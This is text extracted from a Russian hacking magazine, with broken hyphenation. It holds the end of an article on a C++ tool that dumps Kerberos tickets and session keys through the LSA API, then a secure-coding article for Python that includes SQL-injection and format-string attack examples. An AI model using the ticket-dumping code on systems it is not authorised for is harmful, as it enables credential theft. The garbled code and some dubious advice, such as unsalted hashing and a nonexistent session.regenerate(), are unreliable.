pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));

У нас струк тура  пред став лена в перемен ной

, которая прос то динами чес ки выделе на в памяти.

Поэто му в целях запол нения име ни служ бы сле дует исполь зовать фун кции
для копиро вания буфера с одно го адре са на дру гой.

KERB_RETRIEVE_TKT_REQUEST
pKerbRetrieveRequest

 
 

RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer,
pKerbCacheResponse->Tickets[i].ServerName.Buffer,
pKerbRetrieveRequest->TargetName.MaximumLength);

Те перь струк тура под готов лена. Но ведь это толь ко рек вест. А как будет выг-
лядеть ответ? Ответ пред став ляет собой струк туру

:KERB_RETRIEVE_TKT_RESPONSE

   typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
  KERB_EXTERNAL_TICKET Ticket;
  } KERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE_TKT_RESPONSE;

Здесь  — это сдам плен ный тикет собс твен ной пер соной.Ticket
А вот струк тура, в которой тикет хра нит ся в сис теме:

   typedef struct _KERB_EXTERNAL_TICKET {
  PKERB_EXTERNAL_NAME ServiceName;
  PKERB_EXTERNAL_NAME TargetName;
  PKERB_EXTERNAL_NAME ClientName;
 UNICODE_STRING      DomainName;
 UNICODE_STRING      TargetDomainName;
 UNICODE_STRING      AltTargetDomainName;
      KERB_CRYPTO_KEY SessionKey;
 ULONG               TicketFlags;
 ULONG               Flags;
 LARGE_INTEGER       KeyExpirationTime;
 LARGE_INTEGER       StartTime;
 LARGE_INTEGER       EndTime;
 LARGE_INTEGER       RenewUntil;
 LARGE_INTEGER       TimeSkew;
 ULONG               EncodedTicketSize;
 PUCHAR              EncodedTicket;
  } KERB_EXTERNAL_TICKET, *PKERB_EXTERNAL_TICKET;

Здесь очень мно го эле мен тов, но я думаю, по наз вани ям впол не мож но
догадать ся об их пред назна чении. Обра ти вни мание на  —

это и есть то, что мы ищем. Наконец получа ем тикет!

EncodedTicket

    
   

 

status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP,
pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &ProtocolStatus);
       if (status == 0) {

           if (ProtocolStatus == 0) {
              if (pKerbRetrieveResponse->Ticket.TargetName) { // Может 

быть равен NULL

 
               printExternalName(*pKerbRetrieveResponse->Ticket.
TargetName, L"TargetName");
           }

            SYSTEMTIME st;

 
           FileTimeToSystemTime((PFILETIME)&pKerbRetrieveResponse->
Ticket.TimeSkew, &st);

        
      

           std::wcout << L"\t\tTimeSkew:\t" << st.wHour << ":" << st
.wMinute << ":" << st.wSecond << std::endl;

 
           printExternalName(*pKerbRetrieveResponse->Ticket.
ServiceName, L"ServiceName");

 
           printExternalName(*pKerbRetrieveResponse->Ticket.
ClientName, L"ClientName");

             std::wcout << L"\t\tDomainName:\t";
           printUnicodeStringBuffer(pKerbRetrieveResponse->Ticket.
DomainName);

             std::wcout << L"\t\tTargetDomainName:\t";
           printUnicodeStringBuffer(pKerbRetrieveResponse->Ticket.
TargetDomainName);

             std::wcout << L"\t\tAltTargetName:\t";
           printUnicodeStringBuffer(pKerbRetrieveResponse->Ticket.
AltTargetDomainName);

    
 

  

           std::cout << "\t\tSession key: (b64) " << base64_encode(
pKerbRetrieveResponse->Ticket.SessionKey.Value, pKerbRetrieveResponse
->Ticket.SessionKey.Length) << std::endl;

              std::cout << "\t\tSessionKeyType:\t"; GetSessionKeyType(
pKerbRetrieveResponse->Ticket.SessionKey.KeyType);

    
 

  

           std::cout << "\t\tTicket (with Session Key): " <<
base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket,
pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;

Сна чала про веря ем, ини циали зиро ван ли эле мент  струк туры

. Этот эле мент содер жит SPN. При чем рань ше, ког да

я толь ко изу чал эту тему, имен но в это мес то прог раммы я добав лял про вер- 
ку: TGT перед нами или TGS. Если TGT, то эле мент дол жен быть равен ,

а если не TGT, то внут ри дол жен быть записан SPN служ бы. Но лишь потом я
обна ружил, что в слу чае TGT этот эле мент будет иметь зна чение 

, поэто му про вер ка на TGT, которую я опи сывал выше (где мы

про веря ем ), более пра виль ная.

TargetName
KERB_EXTERNAL_TICKET

NULL

KRBTGT/
DOMAIN.COM

ServiceName
Для кор рек тно го вывода струк туры  напишем

отдель ную фун кцию, пос коль ку прос то взять и вывес ти ее не получит ся.
PKERB_EXTERNAL_NAME

    
  

void printExternalName(KERB_EXTERNAL_NAME& externalName, const
wchar_t* Paramname) {
         std::wcout << "\t\t" << Paramname << " (Type): ";
     switch (externalName.NameType) {
    case 0:

           std::wcout << "KRB_NT_UNKNOWN" << std::endl;
       break;
    case 1:

           std::wcout << "KRB_NT_PRINCIPAL" << std::endl;
       break;
    case -131:

           std::wcout << "KRB_NT_PRINCIPAL_AND_ID" << std::endl;
       break;
    case 2:

           std::wcout << "KRB_NT_SRV_INST" << std::endl;
       break;
    case -132:

           std::wcout << "KRB_NT_SRV_INST_AND_ID" << std::endl;
       break;
    case 3:

           std::wcout << "KRB_NT_SRV_HST" << std::endl;
       break;
    case 4:

           std::wcout << "KRB_NT_SRV_XHST" << std::endl;
       break;
    case 5:

           std::wcout << "KRB_NT_UID " << std::endl;
       break;
    case 10:

           std::wcout << "KRB_NT_ENTERPRISE_PRINCIPAL" << std::endl;
       break;
    case -130:

           std::wcout << "KRB_NT_ENT_PRINCIPAL_AND_ID" << std::endl;
       break;
   default:

               std::wcout << "Unknown(" << externalName.NameType << ")" <<
std::endl;
       break;
   }
            for (USHORT i = 0; i < externalName.NameCount; i++) {

          UNICODE_STRING& unicodeString = externalName.Names[i];
           wprintf(L"\t\t%ws %d: ", Paramname, i + 1);

       printUnicodeStringBuffer(unicodeString);
   }
}

Эта фун кция при нима ет струк туру , а так же имя

парамет ра (в нашем слу чае — ). Затем она начина ет выводить

всю информа цию о струк туре. В  содер жится тип име ни, которое
иден тифици рует объ ект. Нап ример,  озна чает, что в стро- 

ке лежит имя прин ципала Kerberos. Пос ле чего мы выводим все име на,
содер жащи еся в этой струк туре (очень ред ко их может быть нес коль ко).
Вывод выпол няем так же в отдель ной фун кции.

KERB_EXTERNAL_NAME
TargetName
NameType
KRB_NT_PRINCIPAL

   void printUnicodeStringBuffer(UNICODE_STRING& unicodeString) {
       if (unicodeString.Buffer != nullptr) {

           wprintf(L"%.*s\n", unicodeString.Length / sizeof(wchar_t),
unicodeString.Buffer);
   }
}

Та ким обра зом мы успешно пар сим все стро ковые дан ные из тикета.
Наконец, самое соч ное — бинар ные дан ные. Нач нем с получе ния сес сион- 
ного клю ча. Для это го исполь зуем фун кцию , которой
переда ем дли ну клю ча, сам ключ (в виде бинар ных дан ных), а в ответ получа- 
ем ключ, закоди рован ный в Base64. Допол нитель но получа ем тип шиф- 
рования в фун кции :

base64_encode()

GetSessionKeyType()

   void GetSessionKeyType(LONG KeyType) {
     switch (KeyType) {
    case KERB_ETYPE_NULL:

           std::wcout << L"KERB_ETYPE_NULL" << std::endl;
       break;
    case KERB_ETYPE_DES_CBC_CRC:

           std::wcout << L"KERB_ETYPE_DES_CBC_CRC" << std::endl;
       break;
    case KERB_ETYPE_DES_CBC_MD4:

           std::wcout << L"KERB_ETYPE_DES_CBC_MD4" << std::endl;
       break;
    case KERB_ETYPE_RC4_HMAC_NT:

           std::wcout << L"KERB_ETYPE_RC4_HMAC_NT" << std::endl;
       break;
    case KERB_ETYPE_DES_CBC_MD5:

           std::wcout << L"KERB_ETYPE_DES_CBC_MD5" << std::endl;
       break;
    case KERB_ETYPE_RC4_MD4:

           std::wcout << L"KERB_ETYPE_RC4_MD4" << std::endl;
       break;
    case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:

           std::wcout << L"KERB_ETYPE_AES256_CTS_HMAC_SHA1_96" << std::
endl;
       break;
    case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:

           std::wcout << L"KERB_ETYPE_AES128_CTS_HMAC_SHA1_96" << std::
endl;
       break;
    case 129:

           std::wcout << L"KERB_ETYPE_RC4_MD5" << std::endl;
       break;
    case 130:

           std::wcout << L"KERB_ETYPE_RC2_MD4" << std::endl;
       break;
    case 131:

           std::wcout << L"KERB_ETYPE_RC2_MD5" << std::endl;
       break;
   default:

               std::wcout << L"Unknown\t(" << KeyType << ")" << std::endl;
       break;
   }

Ти кет мы выводим с помощью той же . В пос ледних стро ках

прог раммы вновь обра щаем ся к AP Kerberos, но уже для дам па тикета
отдель но, без сес сион ного клю ча. Для это го прос то меня ем эле мент

 ранее ини циали зиро ван ной струк туры

 на зна чение , ну
и выводим его.

base64_encode()

MessageType
KERB_RETRIEVE_TKT_REQUEST KerbRetrieveTicketMessage

  pKerbRetrieveRequest->MessageType = KerbRetrieveTicketMessage;
    

   
 

status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP,
pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData
, &ProtocolStatus);

               if (status == 0) {
                   if (ProtocolStatus == 0) {

   
  

  

                   std::cout << "\t\tTicket (without Session Key): "
<< base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket,
pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;

  
  

   

                   std::cout << "\t\tSession key for ticket w/out 
session key: (b64) " << base64_encode(pKerbRetrieveResponse->Ticket.
SessionKey.Value, pKerbRetrieveResponse->Ticket.SessionKey.Length) <<
std::endl;

                      std::cout << "\t\tSessionKeyType:\t";
GetSessionKeyType(pKerbRetrieveResponse->Ticket.SessionKey.KeyType);
               }

ÂÛÂÎÄÛ

На писа ние собс твен ного инс тру мен тария для решения задач по пен тесту —
неотъ емле мая часть про фес сиональ ного рос та. Воз можно, эта статья
показа лась тебе слож новатой, но не пережи вай! Я всег да открыт к обще нию.
Задавай любые воп росы — обя затель но отве чу :)

А пол ный код это го про екта ты можешь най ти на .GitHub

https://www.ietf.org/rfc/rfc4120.txt
https://xakep.ru/2022/12/06/win-api-secrets/
https://github.com/MzHmO/articles/tree/main/Ticket%20Dumper


ОСВАИВАЕМ ПРИЕМЫ
ЗАЩИЩЕННОГО КОДИНГА 

НА PYTHON

SHUO_Kilka
killasoundd@mail.ru

КОДИНГ

Се год ня мы погово рим о том, что дол жно
вол новать каж дого кру того прог раммис- 
та, — о безопас ном коде. Ты дума ешь,
это скуч но и слож но? Ничуть! Я поделюсь
с тобой сво им опы том и покажу,
как научить ся писать на Python код,
за который потом не при дет ся крас неть.

ÎÃÐÀÍÈ×Ü ÎÁËÀÑÒÜ ÂÈÄÈÌÎÑÒÈ ÏÅÐÅÌÅÍÍÛÕ È ÔÓÍÊÖÈÉ

Об ласть видимос ти перемен ной — это кон текст, в котором перемен ная
опре деле на и дос тупна. Если перемен ная дос тупна во всем коде, она
называ ется гло баль ной. Если перемен ная дос тупна толь ко внут ри фун кции
или метода, она называ ется локаль ной.

Смот ри, что про исхо дит, если мы исполь зуем гло баль ную перемен ную:

  secret = "my super secret data"

 def print_secret():
   # Используем глобальную переменную
   print(secret)

print_secret()

Это может быть опас но, потому что гло баль ные перемен ные дос тупны
во всем коде и их мож но лег ко изме нить. А что, если это важ ная перемен ная,
которую не сле дует менять? Зло умыш ленник может вос поль зовать ся этим
и нанес ти вред.

По это му луч ше исполь зовать локаль ные перемен ные:

 def print_secret():
       # Объявляем локальную переменную
     secret = "my super secret data"
   print(secret)

print_secret()

Те перь перемен ная  дос тупна толь ко внут ри . Такой

под ход не толь ко сде лает код более безопас ным, но и облегчит его чте ние,
а так же упростит отладку и под дер жку.

secret print_secret()

ÐÀÇÄÅËßÉ ÊÎÄ ÍÀ ÌÎÄÓËÈ

Вмес то огромно го исходни ка, содер жащего опи сание всех объ ектов и фун- 
кций, ты можешь сде лать нес коль ко модулей, каж дый из которых выпол няет
свою задачу. Это более выгод ный под ход, пос коль ку модули потом будет лег- 
ко исполь зовать в дру гих про ектах.

Но как модуль ность помога ет обе зопа сить код? Дело в том, что чем мень- 
ше кусоч ки, тем лег че в них будет искать ошиб ки и тем мень ше шанс слу чай но
что-то сло мать, ког да вно сишь изме нения. Хорошо орга низо ван ный код лег ко
менять, и если он раз бит на изо лиро ван ные час ти, то изме нения в одной
не зат ронут дру гие.

Речь здесь не толь ко о раз делении боль шого про екта на пакеты, которые
мож но будет импорти ровать, но и о дроб лении кода на фун кции и объ екты.

Вот при мер пло хого кода:

 def do_something():
   # Делаем много разных вещей здесь
   # ...
   # О, и тут мы делаем что-то еще
   # ...
   # И еще что-то здесь
   # ...

В этом коде все сва лено в одну фун кцию, которая дела ет мно жес тво раз ных
вещей. Это пло хо, потому что, если ты най дешь уяз вимость в одной из этих
вещей, изме нения могут пов лиять на дру гие час ти огромной фун кции. Чем
она боль ше, тем слож нее будет пред ска зать резуль тат пра вок.

А теперь пос мотрим на хороший при мер:

 def do_something_1():
   # Делаем что-то здесь
   # ...

 def do_something_2():
   # Делаем что-то здесь
   # ...

 def do_something_3():
   # Делаем что-то здесь
   # ...

Мы раз били боль шую фун кцию на нес коль ко малень ких, каж дая из которых
дела ет что-то свое. Это гораз до безопас нее, потому что, если мы най дем
уяз вимость в одной из этих фун кций, мы смо жем ее испра вить, не зат рагивая
осталь ные. Заод но это дела ет наш код более чита емым и лег ким для под дер- 
жки, потому что теперь мы зна ем, что каж дая фун кция дела ет толь ко одну
вещь.

Еще один хороший спо соб изо лиро вать код и пов торно исполь зовать
его — это клас сы и объ екты Python. Клас сы поз воля ют нам груп пировать свя- 
зан ные фун кции и дан ные вмес те, делая код более управля емым и безопас- 
ным.

Вот при мер хороше го кода с исполь зовани ем клас сов:

 class MyAwesomeClass:
     def __init__(self, some_data):

         self.some_data = some_data

    def do_something_1(self):
       # Делаем что-то с some_data здесь
       # ...

    def do_something_2(self):
       # Делаем что-то еще с some_data здесь
       # ...

В этом при мере мы соз даем класс , который содер жит два

метода:  и . Каж дый из этих методов работа- 

ет с дан ными, которые мы переда ем при соз дании объ екта клас са. Это поз- 
воля ет нам кон тро лиро вать, как эти дан ные исполь зуют ся и обра баты вают ся.
Безопас ность сра зу воз растет!

MyAwesomeClass
do_something_1 do_something_2

Глав ный вывод здесь: чем про ще и понят нее код и чем лег че его под- 
держи вать, тем он безопас нее.

ÇÀÙÈÒÈÑÜ ÎÒ ÈÍÚÅÊÖÈÉ ÊÎÄÀ

Что такое эти самые инъ екции? Пред ставь, что злой поль зователь вво дит
в твое при ложе ние не дан ные, которые от него зап росили, а исполня емый
код, который при ложе ние по какой-то при чине возь мет и выпол нит. При чем
зачас тую это не код на Python, а зап росы к базе дан ных на SQL или коман ды
опе раци онной сис темы. Зву чит страш новато? Давай пос мотрим, почему
такое иног да слу чает ся.

Ïëîõîé ïðèìåð
Взгля ни на этот кусок кода. Что здесь не так?

 def get_user(name):
         query = "SELECT * FROM users WHERE name = '" + name + "'"
    return execute_query(query)

Ты прос то берешь имя поль зовате ля и сра зу вты каешь его в зап рос SQL.
А что, если поль зователь вве дет что-то вро де 

? Поз драв ляю, ты толь ко что потерял всех сво их поль зовате лей! При мер

прос то .

'John'; DROP TABLE users;-
-

клас сичес кий
Вот как выг лядит безопас ная вер сия это го кода:

 def get_user(name):
     query = "SELECT * FROM users WHERE name = ?"
     return execute_query(query, (name,))

Здесь мы исполь зуем парамет ризован ный зап рос, то есть переда ем имя
поль зовате ля отдель но, и наша база дан ных гаран тирован но его экра ниру ет.
Это зна чит, что, даже если поль зователь попыта ется ввес ти SQL-код, тот
будет вос при нят прос то как стро ка и ничего пло хого не про изой дет.

Но это толь ко начало. Всег да пом ни: ты дол жен доверять поль зователь- 
ским дан ным нас толь ко, нас коль ко доверя ешь нез наком цу, вдруг пред лага- 
юще му тебе слад кую кон фету.

ÈÑÏÎËÜÇÓÉ ÁÅÇÎÏÀÑÍÛÅ ÌÅÒÎÄÛ ÑÅÐÈÀËÈÇÀÖÈÈ
È ÄÅÑÅÐÈÀËÈÇÀÖÈÈ

Что за страш ные сло ва — «сери али зация» и «десери али зация»? Не вызыва ют
ли они дере али зацию? Не пугай ся! Сери али зация — это по сути прос то прев- 
ращение вся ких струк тур вро де спис ков и сло варей в стро ку, которую лег ко
хра нить на дис ке или переда вать по сети. Десери али зация — обратный про- 
цесс, то есть прев ращение пос ледова тель нос ти сим волов в струк туру.

Здесь кро ется целый класс уяз вимос тей. Если прев ращать стро ки в струк- 
туры неак курат но, то зло умыш ленник, манипу лируя дан ными, смо жет перех- 
ватить управле ние тво ей прог раммой.

При мер опас ного кода:

 import pickle

# Никогда так не делай!
 def unsafe_deserialization(serialized_data):

    return pickle.loads(serialized_data)

В этом при мере я исполь зовал модуль  для десери али зации дан ных.
Это удоб но, но pickle не обес печива ет безопас ность. Если зло умыш ленник
под менит сери али зован ные дан ные, он смо жет выпол нить про изволь ный код
на тво ем компь юте ре.

pickle

Хо роший при мер:

 import json

# Гораздо лучше!
 def safe_deserialization(serialized_data):

    return json.loads(serialized_data)

Здесь я исполь зую для десери али зации модуль . Он не поз воля ет выпол- 

нить про изволь ный код, так что он безопас нее. Всег да пом ни о рис ках
и выбирай безопас ные методы!

json

INFO

Уяз вимос ти, выз ванные ошиб ками в десери али- 
зации, пери оди чес ки находят в круп ных про дук- 
тах. Нап ример, в 2023 году была най дена 

 в GoAnywhere MFT. Она поз воляла уда- 
лен ным ата кующим выпол нять код без аутен- 
тифика ции.

уяз-
вимость

ÈÑÏÎËÜÇÓÉ ÏÐÈÍÖÈÏ ÍÀÈÌÅÍÜØÈÕ ÏÐÈÂÈËÅÃÈÉ

Этот прин цип гла сит: дай прог рамме толь ко те при виле гии, которые ей дей- 
стви тель но нуж ны для выпол нения ее задачи.

Это очень важ но для безопас ности, потому что, если зло умыш ленник
взло мает твою прог рамму, он получит те же при виле гии, что и прог рамма.
Если ее при виле гии огра ничен ны, сузит ся и круг воз можных дей ствий зло- 
умыш ленни ка.

Пос мотрим на при мер. Пред ставь, что у тебя есть фун кция, которая дол- 
жна записы вать дан ные в файл:

  def write_to_file(file_path, data):
       with open(file_path, 'w') as f:
       f.write(data)

Этой фун кции не нуж ны никакие при виле гии, кро ме воз можнос ти записи
в кон крет ный файл. Но если ты запус тишь эту фун кцию с при виле гиями адми- 
нис тра тора, зло умыш ленник, взло мав ший эту фун кцию, смо жет делать в сис- 
теме абсо лют но все.

Всег да давай сво им фун кци ям и прог раммам толь ко те при виле гии,
которые им дей стви тель но нуж ны, и ничего боль ше.

ÈÇÁÅÃÀÉ ÓßÇÂÈÌÎÑÒÅÉ, ÑÂßÇÀÍÍÛÕ Ñ ÀÓÒÅÍÒÈÔÈÊÀÖÈÅÉ
È ÀÂÒÎÐÈÇÀÖÈÅÉ

Бе зопас ная авто риза ция поль зовате лей — это огромная тема, в которой есть
мас са под водных кам ней. Впро чем, некото рых из них избе жать очень лег ко.

Áåçîïàñíîå õðàíåíèå ïàðîëåé
Нач нем с того, что абсо лют но недопус тимо. Никог да (никог да!) не хра ни
пароли в откры том виде. Нап ример, вот так:

  users = {
    "alice": "password123",
    "bob": "qwerty321"
}

Ес ли эти дан ные уте кут (а веро ятность это го всег да есть), то все пароли тво их
поль зовате лей ста нут извес тны.

Так как же делать пра виль но? Нуж но исполь зовать хеширо вание паролей.
Хеширо вание — это про цесс, при котором из пароля генери рует ся уни каль- 
ная стро ка фик сирован ной дли ны. При этом уни каль ность хеша озна чает, что
даже нез начитель ное изме нение в исходном пароле пол ностью изме нит его
хеш.

В Python для хеширо вания мож но исполь зовать модуль . Пос- 

мотрим, как это работа ет, на при мере:

hashlib

 import hashlib

  password = "password123"
  hashed_password = hashlib.sha256(password.encode()).hexdigest()

print(hashed_password)

Те перь, даже если база дан ных уте чет, хакеры уви дят толь ко хеши паролей,
а не сами пароли.

Ñîëü äëÿ ïàðîëåé
Прос тое хеширо вание тоже неидеаль но. Хакеры могут исполь зовать так
называ емые радуж ные таб лицы для уга дыва ния паролей. Усложнит им задачу
«соль» — слу чай ная стро ка, которую мы добав ляем к паролю перед хеширо- 
вани ем. Так каж дый пароль будет иметь уни каль ный хеш, даже если два поль- 
зовате ля зададут один и тот же пароль.

 import hashlib
 import os

  password = "password123"
    salt = os.urandom(16) # Сгенерируем соль

    
 

salted_password = hashlib.pbkdf2_hmac('sha256', password.encode(),
salt, 100000)

print(salted_password)

В этом при мере мы исполь зовали фун кцию  из модуля hashlib,

которая поз воля ет при менять соль к паролю. Соль мы генери руем
с помощью фун кции , а затем исполь зуем ее вмес те с паролем

и количес твом ите раций для соз дания хеширо ван ного пароля.

pbkdf2_hmac

os.urandom

Та ким обра зом, даже если два поль зовате ля выберут оди нако вые пароли,
их хеш будет отли чать ся из-за раз ной соли. Так уга дать пароль гораз до слож- 
нее.

Од нако теперь тебе нуж но хра нить и соль. Как пра вило, соль и хеш хра нят- 
ся вмес те, нап ример:

 import hashlib
 import os

  password = "password123"
# Генерируем соль

  salt = os.urandom(16)
    

 
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode(),
salt, 100000)

# Сохраняем соль вместе с хешем
    stored_password = salt + salted_password

Те перь у тебя есть основные инс тру мен ты для безопас ного хра нения
паролей. Перей дем к про вер ке вход ных дан ных.

Продолжение статьи →
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БЕЗОПАСНЫЙ ПИТОН
ОСВАИВАЕМ ПРИЕМЫ ЗАЩИЩЕННОГО

КОДИНГА 
НА PYTHON

КОДИНГ  НАЧАЛО СТАТЬИ←

ÒÙÀÒÅËÜÍÎ ÏÐÎÂÅÐßÉ ÂÑÅ ÂÕÎÄÍÛÅ ÄÀÍÍÛÅ

Про вер ка вход ных дан ных — это один из кра еуголь ных кам ней безопас ного
прог рамми рова ния. Да, всег да сна чала кажет ся, что это лиш няя работа.
Но верь мне, в дол госроч ной пер спек тиве это может спас ти тебя от мно гих
проб лем.

Ког да твоя прог рамма получа ет дан ные из какого-то внеш него источни ка,
важ но убе дить ся, что они соот ветс тву ют ожи даемо му фор мату и не содер жат
вре донос ного кода. Ведь не все поль зовате ли хорошие. Некото рые могут
пытать ся взло мать твою сис тему. Поэто му нам нуж но быть вни матель ными,
осо бен но если ты исполь зуешь ста рый метод фор матиро вания с помощью

.str.format()
Уяз вимый при мер со  (при мер взят

с ):
str.format()

security.stackexchange.com

    from http.server import HTTPServer, BaseHTTPRequestHandler

  secret = 'abc123'

 class Handler(BaseHTTPRequestHandler):
     name = 'xakep'
     msg = 'welcome to {site.name}'
    def do_GET(self):

               res = ('<title>' + self.path + '</title>\n' + self.msg).
format(site=self)
       self.send_response(200)

        self.send_header('content-type', 'text/html')
       self.end_headers()
       self.wfile.write(res.encode())

  HTTPServer(('localhost', 8888), Handler).serve_forever()

Этот код запус кает прос той веб-сер вер, который при обра бот ке GET-зап- 
роса воз вра щает HTML, встав ляя имя сай та в сооб щение при ветс твия. Наз- 
вание сай та берет ся из атри бута  обра бот чика .name Handler

Клю чевая уяз вимость это го кода в том, что он исполь зует зна чение 

 (то есть часть URL, пре дос тавлен ного поль зовате лем) в качес тве час ти
стро ки фор мата в стро ке . Это поз воля ет зло умыш ленни ку управлять

стро кой фор мата, что может при вес ти к нежела тель ному поведе нию.

self.
path

res

Экс плу ата ция будет выг лядеть так:

 

 

 
 
 
welcome to xakep 

$ python3 example.py

$ curl 'http://localhost:8888/test' 

Но ата кующий может обра тить ся и к гло баль ным перемен ным:

   $ curl -g 'http://localhost:8888/XXX{site.do_GET.__globals__[secret]}
'
<title>/XXXabc123</title>

  welcome to xakep

Здесь  исполь зует ся для чте ния гло баль- 
ной перемен ной , зна чение которой . Ког да сер вер обра баты- 

вает этот зап рос, он встав ляет зна чение  в заголо вок стра ницы.

{site.do_GET.globals[secret]}
secret abc123

abc123
Это про исхо дит из-за того, что  кон тро лиру ется поль зовате лем,

и ты можешь это исполь зовать для изме нения фор матиро ван ной стро ки.
self.path

Что делать? Исполь зовать f-strings! Мало того что они безопас ны, так
еще и работа ют быс трее, да и код выг лядит куда опрятнее.

Для при мера выше безопас но будет исполь зовать фор матиро вание так:

  res = f"<title>{self.path}\n{self.msg}"

Иног да необ ходимо филь тро вать поль зователь ский ввод на наличие опре- 
делен ных сим волов. Нап ример, нам нуж но получить имя поль зовате ля и в нем
не дол жно быть ничего, кро ме букв:

 def say_hello(name):
         if not isinstance(name, str) or not name.isalpha():

        raise ValueError("Имя должно быть строкой и содержать только 
буквы")
   print(f"Привет, {name}!")

try:
     user_input = input("Введите ваше имя: ")
   say_hello(user_input)

   except ValueError as e:
   print(f"Ошибка: {e}")

В этом при мере мы про веря ем, явля ется ли вве ден ное имя стро кой и содер- 
жит ли оно толь ко бук вы. Если дан ные не соот ветс тву ют этим тре бова ниям,
вызыва ется исклю чение. В резуль тате мы избе гаем потен циаль но опас ных
ситу аций, свя зан ных с некор рек тным вво дом.

Про вер ка вход ных дан ных — это здо рово, но не забывай и про санити- 
зацию поль зователь ско го вво да. При раз работ ке веб-при ложе ний это важ- 
ней шая вещь, так как поз воля ет избе жать самых раз нооб разных атак, таких
как SQL-инъ екции и cross-site scripting (XSS).

В Python для это го есть фун кции  и биб лиоте ка .escape Bleach

Фун кцию  пре дос тавля ет модуль  из стан дар тной биб лиоте ки

Python. Она пре обра зует спе циаль ные сим волы (нап ример, , ,  и кавыч ки)

в их HTML-экви вален ты. Это поз воля ет безопас но отоб ражать поль зователь- 
ский ввод на веб-стра ницах без рис ка выпол нения вре донос ного кода.

escape html

< > &

При мер исполь зования :escape

   from html import escape

  user_input = "<script>malicious_code();</script>"
  safe_input = escape(user_input)

print(safe_input)

Ре зуль тат:

<script>malicious_code();</script> 

 — это сто рон няя биб лиоте ка, которая пре дос тавля ет более широкий

набор инс тру мен тов для санити зации и очис тки HTML и тек ста. Bleach может
уби рать из HTML нежела тель ные или потен циаль но вре донос ные теги и атри- 
буты.

Bleach

При мер исполь зования Bleach:

 import bleach

  user_input = "<script>malicious_code();</script>"
  safe_input = bleach.clean(user_input)

  print(safe_input) # Результат: <script>malicious_code();</script>

По умол чанию  уда ляет все HTML-теги. Если хочешь раз- 

решить опре делен ные безопас ные теги, можешь передать их в параметр
:

bleach.clean()

tags

     safe_input = bleach.clean(user_input, tags=['b', 'i', 'u'])

В этом при мере толь ко теги ,  и  будут раз решены, а все осталь- 

ные — уда лены.

<b> <i> <u>

ÍÅ ÇÀÁÈÂÀÉ ÍÀ ÓÏÐÀÂËÅÍÈÅ ÑÅÑÑÈßÌÈ

Раз рабаты ваешь веб-при ложе ние? Тог да давай погово рим о сес сиях. Сес- 
сия — это спо соб сох ранить дан ные меж ду зап росами поль зовате ля. Ког да
поль зователь вхо дит в сис тему, мы соз даем сес сию, которая про дол жает ся
до тех пор, пока поль зователь не вый дет из сис темы или сес сия не исте чет
по тайм-ауту.

Уп равле ние сес сиями — это серь езный воп рос, и здесь мы можем стол- 
кнуть ся с нес коль кими уяз вимос тями, вклю чая угон сес сии и перех ват сес- 
сион ных куки. Поэто му пра виль ное управле ние сес сиями — это кри тичес ки
важ но.

Да вай прой дем ся по нес коль ким основным прин ципам.

Èñïîëüçóé áåçîïàñíûå êóêè
Ме ханизм cookies час то исполь зует ся для хра нения сес сион ных иден тифика- 
торов. В этом слу чае ты дол жен не забыть выс тавить сво им куки фла ги 

и .  озна чает, что куки будут переда вать ся толь ко через
HTTPS, а  зап реща ет дос туп к куки через JavaScript, что может

помочь пре дот вра тить перех ват через меж сай товый скрип тинг (XSS).

Secure
HttpOnly Secure

HttpOnly

    from flask import session, Flask

  app = Flask(__name__)
app.config.update(
   SESSION_COOKIE_SECURE=True,
   SESSION_COOKIE_HTTPONLY=True,
   SESSION_COOKIE_SAMESITE='Lax',
)

Âîññòàíàâëèâàé èäåíòèôèêàòîð ñåññèè
Каж дый раз, ког да поль зователь вхо дит в сис тему или выходит из нее, сле- 
дует регене риро вать иден тифика тор сес сии. Это помога ет пре дот вра тить
угон сес сии.

   from flask import session

 @app.route('/login', methods=['POST'])
 def login():

   # ...
   # Проверка учетных данных
   # ...

   # Регенерация ID сессии после успешного входа
   session.regenerate()
    return "Успешный вход в систему!"

Óñòàíàâëèâàé òàéì-àóò ñåññèè
Бес конеч ные сес сии — это пло хо. Всег да уста нав ливай тайм-аут для сес сий.

    from flask import Flask, session
   from datetime import timedelta

  app = Flask(__name__)
  app.permanent_session_lifetime = timedelta(minutes=15)

Пом ни, сес сии — это мощ ный инс тру мент, но их надо исполь зовать осто рож- 
но и пра виль но, так что будь вни мате лен.

ÁÓÄÜ ÀÊÊÓÐÀÒÅÍ Ñ EVAL() È EXEC()

В Python есть встро енные фун кции  и , которые выпол няют

передан ный им в виде стро ки код на Python. Обе выпол няют код, но с некото- 
рыми отли чиями.

eval() exec()

Фун кция  ожи дает стро ку, содер жащую выраже ние Python, и воз- 

вра щает зна чение выраже ния. Нап ример, если ты передашь  фун- 

кции , она вер нет .

eval()
'1 + 2'

eval() 3
При мер:

  x = 1
  print(eval('x + 1')) # Результат: 2

Фун кция  выпол няет нес коль ко строк кода Python. Она не воз вра щает
зна чение в отли чие от , а выпол няет любые опе рато ры в стро ке. Нап- 

ример, ты можешь исполь зовать  для опре деле ния новых фун кций

или клас сов.

exec()
eval()

exec()

При мер:

  exec('x = 1\ny = 2\nprint(x + y)') # Результат: 3

То есть основная раз ница меж ду  и  в том, что  воз вра- 

щает зна чение выраже ния и может обра баты вать толь ко одно выраже ние,
тог да как  выпол няет блок кода без воз вра та зна чения.

eval() exec() eval()

exec()
Но вот в чем заг воз дка. Эти фун кции могут выпол нить код, выпол нение

которо го ты не пла ниро вал. Разуме ется, это откры вает две ри для хакеров.
Если зло умыш ленник получит дос туп к  или  либо переда- 
ваемым в них парамет рам, он может запус тить любой код Python со все ми
пос ледс тви ями.

eval() exec()

